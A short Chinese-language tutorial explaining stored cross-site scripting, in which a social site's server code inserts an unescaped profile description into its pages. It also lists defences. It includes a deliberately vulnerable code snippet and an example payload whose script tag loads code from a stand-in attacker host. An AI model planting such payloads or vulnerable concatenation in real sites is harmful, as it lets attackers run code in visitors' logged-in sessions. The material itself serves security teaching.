持久跨站指令碼(XSS)

假設 Bob 擁有一個社交網站,允許使用者個性化他們的個人資料。

Alice 轉到 Bob 的網站,建立一個帳戶,然後轉到她的個人資料設定。她將自己的個人資料描述設為 I'm actually too lazy to write something here.

當她的朋友檢視她的個人資料時,此程式碼將在伺服器上執行:

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

導致此 HTML:

<div>I'm actually too lazy to write something here.</div>

比愛麗絲將她的個人資料描述設定為 <b>I like HTML</b>。當她訪問她的個人資料時,而不是看到

<b>我喜歡 HTML </ b>

她看見

我喜歡 HTML

然後 Alice 將她的個人資料設定為

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

每當有人訪問她的個人資料時,他們都會在他們的帳戶登入時在 Bob 的網站上執行 Alice 的指令碼。

減輕

  1. 在配置檔案描述等中轉義尖括號
  2. 將配置檔案描述儲存在純文字檔案中,然後使用通過 .innerText 新增描述的指令碼獲取該檔案
  3. 新增內容安全策略 ,拒絕從其他域載入活動內容